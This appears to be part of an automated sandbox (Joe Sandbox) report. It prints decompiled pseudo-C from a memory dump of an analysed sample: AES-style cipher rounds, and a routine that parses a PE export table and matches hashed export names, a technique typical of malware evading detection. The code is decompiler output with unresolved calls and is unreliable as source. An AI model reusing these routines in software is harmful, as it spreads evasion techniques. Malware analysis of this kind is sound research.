									 *(_t346 - 0x14) = _t259 ^ _t305;
									r8d =  *(_t346 - 0x14);
									_t361 = _t360 >> 0x10;
									r9d =  *(0x136cc93 + _t361 * 4);
									_t362 = _t361 >> 8;
									r9d = r9d & 0xff000000;
									_t360 = _t362 >> 0x18;
									r9d = r9d ^  *(0x685fc359 + _t362 * 4) & 0x00ff0000;
									r9d = r9d ^  *(0x136e3bd + _t360 * 4) & 0x000000ff;
									r9d = r9d ^  *(0x20a7cbbe + _t360 * 4) & 0x0000ff00;
									r9d = r9d ^  *(_t346 - 0x28);
									r9d = r9d ^  *_t392;
									_t392 =  &(_t392[1]);
									 *(_t346 - 0x10) = r9d;
									_t268 =  *(_t346 - 0x24) ^ r9d;
									 *(_t346 - 0xc) = _t268;
									_t312 =  *(_t346 - 0x20) ^ _t268;
									 *(_t346 - 8) = _t312;
									 *(_t346 - 4) =  *(_t346 - 0x1c) ^ _t312;
								} while (_t392 != 0x137c150);
							}
						} else {
							r8d = _t222;
							_t347 = _t334 >> 0x10;
							asm("btc edx, 0x18");
							_t348 = _t347 >> 8;
							_t349 = _t348 >> 0x18;
							_t318 =  *(0x13749e6 + _t347 * 4) & 0xff000000 ^  *(0x61f12853 + _t348 * 4) & 0x00ff0000 ^  *(0x179c37c4 + _t349 * 4) & 0x000000ff ^  *(0x63919185 + _t349 * 4) & 0x0000ff00 ^ _t325;
							_t390[4] = _t318;
							_t319 = _t318 ^  *_t388;
							_t390[5] = _t319;
							_t320 = _t319 ^ _t390[2];
							_t390[6] = _t320;
							_t390[7] = _t320 ^ _t390[3];
							_t393 = 0x137c134;
							asm("o16 nop [eax+eax]");
							do {
								_t388 =  &(_t388[4]);
								_t350 = _t349 >> 0x10;
								r8d =  *(0x13749e6 + _t350 * 4);
								_t351 = _t350 >> 8;
								r8d = r8d & 0xff000000;
								_t349 = _t351 >> 0x18;
								r8d = r8d ^  *(0x61f12853 + _t351 * 4) & 0x00ff0000;
								r8d = r8d ^  *(0x179c37c4 + _t349 * 4) & 0x000000ff;
								r8d = r8d ^  *(0x63919185 + _t349 * 4) & 0x0000ff00;
								r8d = r8d ^  *(_t388 - 4);
								r8d = r8d ^  *_t393;
								_t393 =  &(_t393[1]);
								_t388[3] = r8d;
								r8d = r8d ^  *_t388;
								_t388[4] = r8d;
								_t282 = _t388[1] ^ r8d;
								_t388[5] = _t282;
								_t388[6] = _t388[2] ^ _t282;
							} while (_t393 != 0x137c158);
						}
						return 0;
					}
				}
			}

0x013698a0
0x013698a0
0x013698a0
0x013698a0
0x013698a0
0x013698a0
0x013698a4
0x013698a7
0x013698ad
0x01369e7c
0x013698bc
0x013698c4
0x01369e74
0x013698d6
0x013698d6
0x013698e1
0x01369900
0x01369903
0x013698e3
0x013698e3
0x013698e3
0x0136990d
0x01369913
0x01369918
0x01369920
0x01369929
0x0136992e
0x01369930
0x01369934
0x0136993d
0x01369940
0x01369950
0x01369959
0x0136995c
0x0136996c
0x01369976
0x01369979
0x01369987
0x01369989
0x01369993
0x01369aee
0x01369af7
0x01369b01
0x01369b0b
0x01369b0e
0x01369b1c
0x01369b1e
0x01369b28
0x01369c7e
0x01369c87
0x01369c91
0x01369c9b
0x01369c9e
0x01369cac
0x01369cae
0x01369cb8
0x01369cbe
0x01369cd1
0x01369d05
0x01369d11
0x01369d25
0x01369d40
0x01369d49
0x01369d4d
0x01369d50
0x01369d54
0x01369d58
0x01369d5c
0x01369d64
0x01369d68
0x01369d70
0x01369d74
0x01369d7a
0x01369d81
0x01369d87
0x01369d8b
0x01369d9b
0x01369da5
0x01369db4
0x01369dbf
0x01369dc2
0x01369dca
0x01369dcd
0x01369dd1
0x01369dd9
0x01369ddd
0x01369de1
0x01369deb
0x01369df2
0x01369df8
0x01369dfc
0x01369e0c
0x01369e16
0x01369e1d
0x01369e2c
0x01369e2f
0x01369e33
0x01369e36
0x01369e3a
0x01369e42
0x01369e45
0x01369e4d
0x01369e4f
0x01369e59
0x01369e5d
0x01369e66
0x01369b2e
0x01369b2e
0x01369b41
0x01369b75
0x01369b81
0x01369ba8
0x01369bb4
0x01369bbd
0x01369bc1
0x01369bc4
0x01369bc8
0x01369bcc
0x01369bd4
0x01369bd8
0x01369be0
0x01369be0
0x01369be6
0x01369be9
0x01369beb
0x01369bf1
0x01369bf4
0x01369bfb
0x01369c02
0x01369c09
0x01369c0d
0x01369c1e
0x01369c28
0x01369c2f
0x01369c3f
0x01369c42
0x01369c46
0x01369c49
0x01369c4d
0x01369c54
0x01369c57
0x01369c5d
0x01369c5f
0x01369c67
0x01369c6a
0x01369c73
0x01369999
0x01369999
0x013699ac
0x013699e0
0x013699ec
0x01369a00
0x01369a1b
0x01369a24
0x01369a28
0x01369a2b
0x01369a2f
0x01369a33
0x01369a3b
0x01369a3f
0x01369a46
0x01369a50
0x01369a54
0x01369a5a
0x01369a61
0x01369a67
0x01369a6b
0x01369a81
0x01369a85
0x01369a8c
0x01369a9b
0x01369a9e
0x01369aa2
0x01369aa5
0x01369aa9
0x01369aad
0x01369ab0
0x01369ab8
0x01369abb
0x01369ac5
0x01369ac9
0x01369a50
0x01369ae7
0x01369ae7
0x013698c4

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 01369E80, Relevance: .4, Instructions: 371
Crypto

C-Code - Quality: 78%

			E01369E80(signed int __rax, signed int __rcx, signed int __rdx, signed int __r8, signed int __r9, signed int __r10) {
				intOrPtr _t186;
				signed int _t221;
				signed int _t261;
				signed int _t271;
				signed int _t350;
				signed long long _t371;
				unsigned long long _t377;
				signed long long _t378;
				signed long long _t379;
				unsigned long long _t380;
				signed long long _t381;
				signed long long _t382;
				unsigned long long _t383;
				signed long long _t384;
				signed long long _t385;
				signed long long _t386;
				unsigned long long _t389;
				unsigned long long _t392;
				unsigned long long _t393;
				signed long long _t395;
				signed long long _t407;
				unsigned long long _t413;
				signed int* _t414;
				unsigned long long _t419;
				unsigned long long _t424;
				unsigned long long _t425;
				unsigned long long _t430;
				unsigned long long _t432;
				void* _t444;
				unsigned long long _t452;
				unsigned long long _t456;
				unsigned long long _t457;
				unsigned long long _t462;
				signed long long _t464;
				unsigned long long _t468;

				 *((long long*)(_t444 + 0x10)) = __rdx;
				_push(_t413);
				r10d =  *(__rcx + 8);
				asm("rol eax, 0x8");
				asm("inc ecx");
				_t464 = __r8;
				_t462 = (__r10 & _t413 | __rax) ^ __rax;
				r9d =  *(__rcx + 4);
				asm("rol eax, 0x8");
				asm("inc ecx");
				_t456 = (__r9 & _t413 | __rax) ^ __rax;
				r8d =  *(__rcx + 0xc);
				asm("rol eax, 0x8");
				asm("inc ecx");
				asm("rol eax, 0x8");
				asm("ror edx, 0x8");
				_t424 = (__rdx & _t413 | __rax) ^ __rax;
				_t350 =  *(0x136abf4 + __rcx * 4) ^  *(0x13710d3 + (_t462 >> 8) * 4) ^  *(0x137ad53 + (_t424 >> 0x18) * 4) ^  *(0x2ea3cff7 + (_t424 >> 0x18) * 4) ^  *(__r8 + 0x10);
				r13d =  *(0x13710d3 + __rcx * 4);
				r13d = r13d ^  *(0x136abf4 + (_t462 >> 0x10) * 4);
				_t371 = _t456 >> 0x18;
				r13d = r13d ^  *(0x137ad53 + _t371 * 4);
				r13d = r13d ^  *(0x2ea3cff7 + _t371 * 4);
				r13d = r13d ^  *(__r8 + 0x14);
				_t432 = __r8 + 0x20;
				_t425 = _t424 >> 0x10;
				_t377 = _t462 >> 0x18;
				_t449 = ((__r8 & _t413 | __rax) ^ __rax) >> 0x18;
				 *(_t444 + 0x60) = _t432;
				_t457 = _t456 >> 8;
				_t261 =  *(0x136abf4 + __rcx * 4) ^  *(0x13710d3 + (_t424 >> 8) * 4) ^  *(0x137ad53 + _t377 * 4) ^  *(0x2ea3cff7 + _t377 * 4) ^  *(__r8 + 0x18);
				_t271 =  *(0x136abf4 + __rcx * 4) ^  *(0x13710d3 + _t377 * 4) ^  *(0x137ad53 + (((__r8 & _t413 | __rax) ^ __rax) >> 0x18) * 4) ^  *(0x2ea3cff7 + _t377 * 4) ^  *(__r8 + 0x1c);
				_t186 = ( *(__r8 + 0xf0) >> 1) - 1;
				 *((intOrPtr*)(_t444 + 0x48)) = _t186;
				if(_t186 != 0) {
					do {
						r10d = _t271;
						r8d = _t261;
						r9d = _t350;
						_t389 = _t377 >> 0x10 >> 8 >> 0x18;
						_t432 = _t432 ^ __rcx ^ __rcx ^ __rcx ^ _t389;
						_t392 = _t389 >> 0x10 >> 8 >> 0x18;
						_t419 = _t413 ^ __rcx ^ __rcx ^ __rcx ^ _t392;
						_t393 = _t392 >> 0x10;
						_t457 = _t457 >> 0x18;
						r11d =  *(0x136abf4 + _t393 * 4);
						_t395 = _t393 >> 8 >> 0x18;
						_t468 = _t464 ^ __rcx ^ __rcx ^ __rcx ^ _t395;
						_t452 =  *(_t444 + 0x60);
						_t430 = _t425 >> 0x00000010 ^ __rcx ^ _t395 ^ __rcx ^ _t395;
						_t350 =  *(0x13710d3 + __rcx * 4) ^  *(0x136abf4 + (_t419 >> 0x10) * 4) ^  *(0x137ad53 + (_t430 >> 0x18) * 4) ^  *(0x2ea3cff7 + (_t430 >> 0x18) * 4) ^  *(_t452 + 0x10);
						r13d =  *(0x136abf4 + __rcx * 4);
						r13d = r13d ^  *(0x13710d3 + (_t468 >> 8) * 4);
						_t407 = _t419 >> 0x18;
						r13d = r13d ^  *(0x137ad53 + _t407 * 4);
						r13d = r13d ^  *(0x2ea3cff7 + _t407 * 4);
						r13d = r13d ^  *(_t452 + 0x14);
						_t425 = _t430 >> 0x10;
						_t464 = _t468 >> 0x18;
						_t377 = _t432 >> 0x18;
						_t413 = _t419 >> 8;
						 *(_t444 + 0x58) =  *(0x136abf4 + __rcx * 4) ^  *(0x13710d3 + (_t430 >> 8) * 4) ^  *(0x137ad53 + _t377 * 4) ^  *(0x2ea3cff7 + _t377 * 4) ^  *(_t452 + 0x18);
						_t261 =  *(_t444 + 0x58);
						_t271 =  *(0x136abf4 + __rcx * 4) ^  *(0x13710d3 + _t377 * 4) ^  *(0x137ad53 + _t464 * 4) ^  *(0x2ea3cff7 + _t377 * 4) ^  *(_t452 + 0x1c);
						_t449 = _t452 + 0x20;
						_t122 = _t444 + 0x48;
						 *_t122 =  *((intOrPtr*)(_t444 + 0x48)) - 1;
						 *(_t444 + 0x60) = _t449;
					} while ( *_t122 != 0);
					_t432 = _t449;
				}
				r10d = _t271;
				_t378 = _t377 >> 8;
				r8d = _t350;
				r11d = _t261;
				_t414 =  *((intOrPtr*)(_t444 + 0x50));
				_t379 = _t378 >> 0x10;
				r9d = r13d;
				_t380 = _t379 >> 0x18;
				asm("rol edx, 0x8");
				asm("ror eax, 0x8");
				 *_t414 = ( *(0x137bd30 + _t378 * 4) & 0x0000ff00 ^  *(0x137c160 + _t379 * 4) & 0x00ff0000 ^  *(0x137c560 + _t380 * 4) & 0xff000000 ^  *(0x137cd60 + _t380 * 4) & 0x000000ff ^  *_t432) & 0xff00ff00 | ( *(0x137bd30 + _t378 * 4) & 0x0000ff00 ^  *(0x137c160 + _t379 * 4) & 0x00ff0000 ^  *(0x137c560 + _t380 * 4) & 0xff000000 ^  *(0x137cd60 + _t380 * 4) & 0x000000ff ^  *_t432) & 0x00ff00ff;
				_t381 = _t380 >> 8;
				_t382 = _t381 >> 0x10;
				_t383 = _t382 >> 0x18;
				asm("rol edx, 0x8");
				asm("ror eax, 0x8");
				_t414[1] = ( *(0x137bd30 + _t381 * 4) & 0x0000ff00 ^  *(0x137c160 + _t382 * 4) & 0x00ff0000 ^  *(0x137c560 + _t383 * 4) & 0xff000000 ^  *(0x137cd60 + _t383 * 4) & 0x000000ff ^  *(_t432 + 4)) & 0xff00ff00 | ( *(0x137bd30 + _t381 * 4) & 0x0000ff00 ^  *(0x137c160 + _t382 * 4) & 0x00ff0000 ^  *(0x137c560 + _t383 * 4) & 0xff000000 ^  *(0x137cd60 + _t383 * 4) & 0x000000ff ^  *(_t432 + 4)) & 0x00ff00ff;
				_t384 = _t383 >> 8;
				_t385 = _t384 >> 0x10;
				_t386 = _t385 >> 0x18;
				asm("ror eax, 0x8");
				asm("rol edx, 0x8");
				_t414[2] = ( *(0x137bd30 + _t384 * 4) & 0x0000ff00 ^  *(0x137c160 + _t385 * 4) & 0x00ff0000 ^  *(0x137c560 + _t386 * 4) & 0xff000000 ^  *(0x137cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 8)) & 0xff00ff00 | ( *(0x137bd30 + _t384 * 4) & 0x0000ff00 ^  *(0x137c160 + _t385 * 4) & 0x00ff0000 ^  *(0x137c560 + _t386 * 4) & 0xff000000 ^  *(0x137cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 8)) & 0x00ff00ff;
				asm("rol edx, 0x8");
				asm("ror eax, 0x8");
				_t221 = ( *(0x137bd30 + _t386 * 4) & 0x0000ff00 ^  *(0x137c160 + _t386 * 4) & 0x00ff0000 ^  *(0x137c560 + (_t462 >> 0x18) * 4) & 0xff000000 ^  *(0x137cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 0xc)) & 0xff00ff00 | ( *(0x137bd30 + _t386 * 4) & 0x0000ff00 ^  *(0x137c160 + _t386 * 4) & 0x00ff0000 ^  *(0x137c560 + (_t462 >> 0x18) * 4) & 0xff000000 ^  *(0x137cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 0xc)) & 0x00ff00ff;
				_t414[3] = _t221;
				return _t221;
			}

0x01369e80
0x01369e85
0x01369e9b
0x01369ea5
0x01369eb4
0x01369eb8
0x01369eed
0x01369ef3
0x01369ef6
0x01369efe
0x01369f0c
0x01369f12
0x01369f15
0x01369f1d
0x01369f32
0x01369f3a
0x01369f46
0x01369f7a
0x01369f8f
0x01369f93
0x01369f9a
0x01369f9e
0x01369fa5
0x01369fac
0x01369fc8
0x01369fcc
0x01369fd3
0x01369fd7
0x01369fde
0x01369fef
0x01369ff7
0x0136a015
0x0136a01b
0x0136a01e
0x0136a022
0x0136a030
0x0136a030
0x0136a03c
0x0136a03f
0x0136a063
0x0136a07c
0x0136a09f
0x0136a0b8
0x0136a0be
0x0136a0c5
0x0136a0c9
0x0136a0dd
0x0136a0fd
0x0136a10b
0x0136a129
0x0136a15d
0x0136a172
0x0136a176
0x0136a17d
0x0136a181
0x0136a188
0x0136a18f
0x0136a1a4
0x0136a1ac
0x0136a1b6
0x0136a1c1
0x0136a1cd
0x0136a1d4
0x0136a1ee
0x0136a1f2
0x0136a1f6
0x0136a1f6
0x0136a1fb
0x0136a1fb
0x0136a206
0x0136a206
0x0136a209
0x0136a20e
0x0136a215
0x0136a218
0x0136a21b
0x0136a22d
0x0136a234
0x0136a245
0x0136a268
0x0136a26b
0x0136a278
0x0136a27d
0x0136a28b
0x0136a2a7
0x0136a2c6
0x0136a2c9
0x0136a2d6
0x0136a2dc
0x0136a2ea
0x0136a304
0x0136a325
0x0136a328
0x0136a33d
0x0136a37d
0x0136a380
0x0136a38b
0x0136a38d
0x0136a39c

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 01373560, Relevance: .2, Instructions: 219
Crypto

C-Code - Quality: 78%

			E01373560(void* __rcx, void* __rdx, short* __r8, long long __r13) {
				void* _t75;
				void* _t78;
				signed int _t81;
				intOrPtr _t92;
				signed long long _t109;
				signed long long _t116;
				signed long long _t120;
				long long _t129;
				short* _t131;
				short* _t132;
				long long _t134;
				long long* _t165;
				void* _t168;
				void* _t171;
				long long _t173;
				void* _t177;
				void* _t186;
				void* _t187;
				void* _t195;
				short* _t201;
				long long _t203;

				_t203 = __r13;
				_t134 =  *((intOrPtr*)(__rcx + 0x130));
				 *((long long*)(_t186 + 8)) = _t134;
				_push(_t173);
				_t187 = _t186 - 0x260;
				_t109 = 0;
				 *(_t187 + 0x2b8) = 0x4000;
				_t201 = __r8;
				 *((long long*)(_t187 + 0x50)) = _t173;
				 *((intOrPtr*)(_t187 + 0x40)) = 0xffffffff;
				_t129 = _t134;
				_t116 = _t187 + 0x50;
				 *(_t187 + 0x20) = _t116;
				r8d = 0;
				_t75 =  *0xFFFFFFFFE92814BD();
				if(_t75 != 5) {
					L9:
					if(_t75 == 0) {
						 *((long long*)(_t187 + 0x2a8)) = _t203;
						 *0xFFFFFFFFA848C893();
						_t120 = 0x136ff30;
						_t165 = 0x1365da0;
						 *((long long*)(_t187 + 0x48)) = 0xffffffffc708c685;
						 *((long long*)(_t187 + 0x58)) = 0x54d8696f;
						asm("o16 nop [eax+eax]");
						while(1) {
							r8d =  *(_t187 + 0x2b8);
							 *_t120();
							_t195 = _t187 + 0x2b8;
							_t78 =  *_t165();
							if(_t78 != 0) {
								break;
							}
							r15d = _t109;
							_t120 =  *((intOrPtr*)(_t187 + 0x48));
							if( *((intOrPtr*)(_t187 + 0x40)) > _t78) {
								do {
									_t177 = (_t120 + _t120 * 2 << 4) + 0x136fcb0;
									if( *((intOrPtr*)(_t177 + 8)) == 3) {
										if(_t201 != 0) {
											_t131 = _t201;
											 *0xFFFFFFFFFDCB4FA4();
											_t168 = _t201 + 2 + _t120 * 2;
											if( *_t201 != 0) {
												asm("o16 nop [eax+eax]");
												while(1) {
													r9d = 0;
													if( *0x01365D50() == 0) {
														goto L23;
													}
													 *0x01370C00();
													_t120 = _t120 + 1;
													_t131 = _t168 + _t120 * 2;
													 *((long long*)(0x1370c00))();
													_t56 = _t120 + 1; // 0x1
													_t168 = _t131 + _t56 * 2;
													if( *_t131 != 0) {
														continue;
													}
													goto L23;
												}
											}
											L23:
											_t129 =  *((intOrPtr*)(_t187 + 0x2a0));
										}
										r9d = 0;
										 *((long long*)(_t187 + 0x30)) = _t129;
										_t120 = 0x1373ba0;
										 *((long long*)(_t187 + 0x28)) = 0x430d08b9;
										 *(_t187 + 0x20) = 0;
										_t64 = _t195 + 1; // 0x1
										r8d = _t64;
										 *0x0136F350();
									}
									if(( *(_t177 + 0xc) & 0x00000002) != 0) {
										_t120 = 0x1373eb0;
										 *0xFFFFFFFFF62204C3();
									}
									r15d = r15d + 1;
								} while (r15d <  *((intOrPtr*)(_t187 + 0x40)));
								_t120 =  *((intOrPtr*)(_t187 + 0x48));
								_t109 = 0;
								_t165 =  *((intOrPtr*)(_t187 + 0x58));
							}
						}
						if(0x136fcb0 != 0) {
							 *0x0136FE30();
						}
						_t81 = 0 |  *0x01365CA0() == 0x00000000;
					} else {
						goto L10;
					}
				} else {
					if(__r8 == 0) {
						L10:
						_t92 =  *((long long*)( *0x01362B93 + 0x30712b))();
						 *((intOrPtr*)(_t187 + 0x48)) = _t92;
						if(_t92 == 0x4b8) {
							r8d = 0x100;
							E01365A30();
							r8d = 0x100;
							E01365A30();
							 *(_t187 + 0x20) = 0x100;
							r8d = 0x100;
							 *0x0AB5598D();
						}
						goto L12;
					} else {
						_t132 = __r8;
						 *0xFFFFFFFFABA69FC2();
						_t171 = __r8 + 2 + _t116 * 2;
						if( *__r8 == 0) {
							L12:
							_t81 = 0;
						} else {
							while(1) {
								r9d = 0;
								if( *((long long*)(0x1365d50))() == 0) {
									break;
								}
								 *((long long*)(0x1370c00))();
								_t116 = _t116 + 1;
								_t132 = _t171 + _t116 * 2;
								 *((long long*)(0x1370c00))();
								_t18 = _t116 + 1; // 0x1
								_t171 = _t132 + _t18 * 2;
								if( *_t132 != 0) {
									continue;
								} else {
									_t81 = 0;
								}
								goto L32;
							}
							r8d = 0;
							 *(_t187 + 0x20) = _t187 + 0x50;
							_t75 =  *0x01365C50();
							_t129 =  *((intOrPtr*)(_t187 + 0x2a0));
							_t109 = 0;
							goto L9;
						}
					}
				}
				L32:
				return _t81;
			}

0x01373560
0x01373560
0x01373eb0
0x01373eb7
0x01373ebf
0x01373ec6
0x01373ec8
0x01373ed3
0x01373ed6
0x01373ede
0x01373ee6
0x01373ee9
0x01373ef1
0x01373efd
0x01373f0d
0x01373f13
0x01373fbc
0x01373fbe
0x0137404b
0x01374058
0x0137406b
0x01374071
0x01374078
0x0137407d
0x01374086
0x01374090
0x01374090
0x0137409d
0x013740a4
0x013740b4
0x013740b8
0x00000000
0x00000000
0x013740c2
0x013740c5
0x013740ca
0x013740d0
0x013740db
0x013740e2
0x013740eb
0x013740fe
0x01374101
0x0137410e
0x01374112
0x01374126
0x01374130
0x01374130
0x01374141
0x00000000
0x00000000
0x01374146
0x01374148
0x0137414b
0x01374152
0x01374158
0x0137415c
0x01374160
0x00000000
0x00000000
0x00000000
0x01374160
0x01374130
0x01374162
0x01374162
0x01374162
0x01374175
0x01374178
0x0137417d
0x0137418a
0x0137419d
0x013741a6
0x013741a6
0x013741aa
0x013741aa
0x013741b5
0x013741c1
0x013741cd
0x013741cd
0x013741cf
0x013741d2
0x013741dd
0x013741e2
0x013741e4
0x013741e4
0x013740ca
0x013741f1
0x01374204
0x01374204
0x0137422a
0x00000000
0x00000000
0x00000000
0x01373f19
0x01373f1c
0x01373fc0
0x01373fcd
0x01373fcf
0x01373fd8
0x01373fe4
0x01373fea
0x01373ff6
0x01373ffc
0x01374008
0x0137401b
0x0137402e
0x0137402e
0x00000000
0x01373f22
0x01373f33
0x01373f36
0x01373f43
0x01373f47
0x01374030
0x01374030
0x01373f4d
0x01373f60
0x01373f60
0x01373f70
0x00000000
0x00000000
0x01373f75
0x01373f77
0x01373f7a
0x01373f81
0x01373f87
0x01373f8b
0x01373f8f
0x00000000
0x01373f91
0x01373f91
0x01373f91
0x00000000
0x01373f8f
0x01373f98
0x01373fa3
0x01373faf
0x01373fb2
0x01373fba
0x00000000
0x01373fba
0x01373f47
0x01373f1c
0x0137422d
0x0137423e

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 013721B0, Relevance: .2, Instructions: 169
Crypto

C-Code - Quality: 25%

			E013721B0(long long __rbx, signed long long __rcx, unsigned int __rdx, long long __rdi, signed long long __rsi, signed int __r9, signed int _a8, signed int _a16, signed int _a24, long long _a32) {
				long long _v16;
				long long _v24;
				signed char _v152;
				long long _v168;
				signed long long _v176;
				signed char* _v184;
				signed int _t52;
				signed int _t53;
				signed int _t59;
				signed int _t61;
				void* _t64;
				signed int _t65;
				signed int _t74;
				signed short _t75;
				signed int _t76;
				long long _t83;
				signed long long _t85;
				intOrPtr _t87;
				signed long long _t89;
				signed long long _t90;
				signed long long _t92;
				signed char* _t94;
				signed long long _t95;
				signed int* _t96;
				signed char* _t100;
				signed long long _t101;
				signed char* _t105;
				signed char* _t106;
				signed long long _t108;
				char* _t110;
				signed long long _t111;
				signed int _t117;
				void* _t118;

				_t117 = __r9;
				_t108 = __rsi;
				_t101 = __rdx;
				_t95 = __rcx;
				_a24 = r8d;
				_a16 = __rdx;
				_t111 = __rcx;
				if(__rcx != 0) {
					__eflags =  *__rcx - 0x5a4d;
					if( *__rcx != 0x5a4d) {
						goto L1;
					} else {
						_t83 =  *((intOrPtr*)(__rcx + 0x3c)) + 0x18 + __rcx;
						_v168 = _t83;
						_t52 =  *(_t83 + 0x70);
						__eflags = _t52;
						if(_t52 == 0) {
							goto L1;
						} else {
							_a32 = __rbx;
							_v16 = __rsi;
							_t76 = 0;
							_v24 = __rdi;
							_t105 = _t83 + __rcx;
							_v184 = _t105;
							_t85 = __rdx >> 0x10;
							__eflags = _t52;
							if(_t52 != 0) {
								__eflags = r9b & 0x00000001;
								if((r9b & 0x00000001) == 0) {
									_t100 = __rdx;
									do {
										_t59 =  *_t100 & 0x000000ff;
										_t100 =  &(_t100[1]);
										__eflags = _t59;
									} while (_t59 != 0);
									__eflags = _t64 - r8d;
									_t95 = __rdx;
									_t52 = E0136D4F0(__rbx, __rdx, __rdx, __rdx);
									_a16 = _t52;
								}
								r10d = _t105[0x18];
								_a8 = r10d;
								__eflags = r10d;
								if(r10d != 0) {
									_t118 = 0x1383120;
									_v176 = _t95;
									asm("o16 nop [eax+eax]");
									do {
										_t95 = _t95 + _t85 * 4;
										_t75 =  *(_t95 + _t111);
										_t105 =  &(_t105[_t111]);
										__eflags = _t105;
										_t94 = _t105;
										do {
											_t52 =  *_t94 & 0x000000ff;
											_t94 =  &(_t94[1]);
											__eflags = _t52;
										} while (_t52 != 0);
										__eflags =  *0x1383114 - _t52; // 0x1
										if(__eflags == 0) {
											_t52 = E0136D440();
											r10d = _a8;
											_t118 = 0x1383120;
										}
										r8d = r8d | 0xffffffff;
										_t61 = _t61 - _t75 - 1;
										__eflags = _t61;
										r9d = _t61;
										if(_t61 != 0) {
											do {
												_t105 =  &(_t105[1]);
												_t95 = _t95 ^ _t85;
												_t52 = r8d >> 8;
												r8d =  *(_t118 + _t101 * 4);
												r8d = r8d ^ _t52;
												_t117 = _t117 - 1;
												__eflags = _t117;
											} while (_t117 != 0);
										}
										r8d =  !r8d;
										__eflags = _a16 - r8d;
										if(_a16 == r8d) {
											_t106 = _v184;
											__eflags = 0;
											_t52 =  *(_t95 + _t111) & 0x0000ffff;
											goto L36;
										} else {
											goto L20;
										}
										goto L23;
										L20:
										_t95 = _v176;
										_t76 = _t76 + 1;
										__eflags = _t76 - r10d;
									} while (_t76 < r10d);
									__eflags = 0;
								}
								goto L22;
							} else {
								_t52 = (r8w & 0xffffffff) - _t105[0x10];
								L36:
								__eflags = _t52 - 0xffffffff;
								if(_t52 == 0xffffffff) {
									L22:
									_t106 = _v184;
									_t92 = _t108;
								} else {
									_t92 =  &(_t94[_t111]);
								}
								goto L23;
							}
							L23:
							__eflags = _t92 - _t106;
							if(_t92 >= _t106) {
								_t87 = _v168;
								_t52 =  *(_t87 + 0x74);
								__eflags = _t92 - _t87 + _t106;
								if(_t92 < _t87 + _t106) {
									_t53 =  *_t92 & 0x000000ff;
									_t32 =  &_v152; // 0x9b102e5d
									_t96 = _t32;
									__eflags = _t53;
									if(_t53 != 0) {
										asm("o16 nop [eax+eax]");
										do {
											_t92 = _t92 + 1;
											 *_t96 = _t53;
											_t96 =  &(_t96[0]);
											_t53 =  *_t92 & 0x000000ff;
											__eflags = _t53;
										} while (_t53 != 0);
									}
									_t52 =  *_t92 & 0x000000ff;
									_t92 = _t108;
									 *_t96 = _t52;
									_t33 =  &_v152; // 0x9b102e5d
									_t89 = _t33;
									_t65 = _v152 & 0x000000ff;
									while(1) {
										__eflags = _t65 - 0x2e;
										if(_t65 == 0x2e) {
											break;
										}
										_t65 =  *(_t89 + 1) & 0x000000ff;
										_t89 = _t89 + 1;
										__eflags = _t65;
										if(_t65 != 0) {
											continue;
										}
										break;
									}
									__eflags =  *_t89 - 0x2e;
									_t110 =  ==  ? _t89 : _t108;
									__eflags = _t110;
									if(_t110 != 0) {
										_t74 = _a24;
										 *_t110 = 0;
										_t90 = _t89 ^  *0x1383540;
										r8d = 0;
										_t52 =  *_t90();
										__eflags = _t90;
										if(_t90 != 0) {
											_t38 = _t110 + 1; // 0x1
											r9d = 0;
											__eflags = r9d;
											r8d = _t74;
											_t52 = E013721B0(_t92, _t90, _t38, _t106, _t110, _t117);
											_t92 = _t90;
										}
									}
								}
							}
							return _t52;
						}
					}
				} else {
					L1:
					return 0;
				}
			}

0x013721b0
0x013721b0
0x013721b0
0x013721b0
0x013721b0
0x013721b5
0x013721c5
0x013721cb
0x013721dd
0x013721e0
0x00000000
0x013721e2
0x013721ea
0x013721ed
0x013721f2
0x013721f5
0x013721f7
0x00000000
0x013721f9
0x013721f9
0x01372201
0x01372209
0x0137220b
0x01372213
0x0137221a
0x0137221f
0x01372223
0x01372226
0x01372234
0x01372238
0x0137223a
0x01372240
0x01372240
0x01372243
0x01372246
0x01372246
0x0137224a
0x01372250
0x01372253
0x01372258
0x01372258
0x0137225f
0x01372263
0x0137226b
0x0137226e
0x01372277
0x0137227e
0x01372287
0x01372290
0x01372292
0x01372296
0x01372299
0x01372299
0x0137229c
0x013722a0
0x013722a0
0x013722a3
0x013722a6
0x013722a6
0x013722aa
0x013722b0
0x013722b2
0x013722b7
0x013722bf
0x013722bf
0x013722c6
0x013722cc
0x013722cc
0x013722cf
0x013722d2
0x013722e0
0x013722e3
0x013722ea
0x013722f0
0x013722f6
0x013722fa
0x013722fd
0x013722fd
0x013722fd
0x013722e0
0x01372303
0x01372306
0x0137230e
0x013723fa
0x01372405
0x01372407
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x01372314
0x01372314
0x01372319
0x0137231b
0x0137231b
0x01372324
0x01372324
0x00000000
0x01372228
0x0137222c
0x0137240b
0x0137240b
0x0137240e
0x01372326
0x01372326
0x0137232b
0x01372414
0x01372420
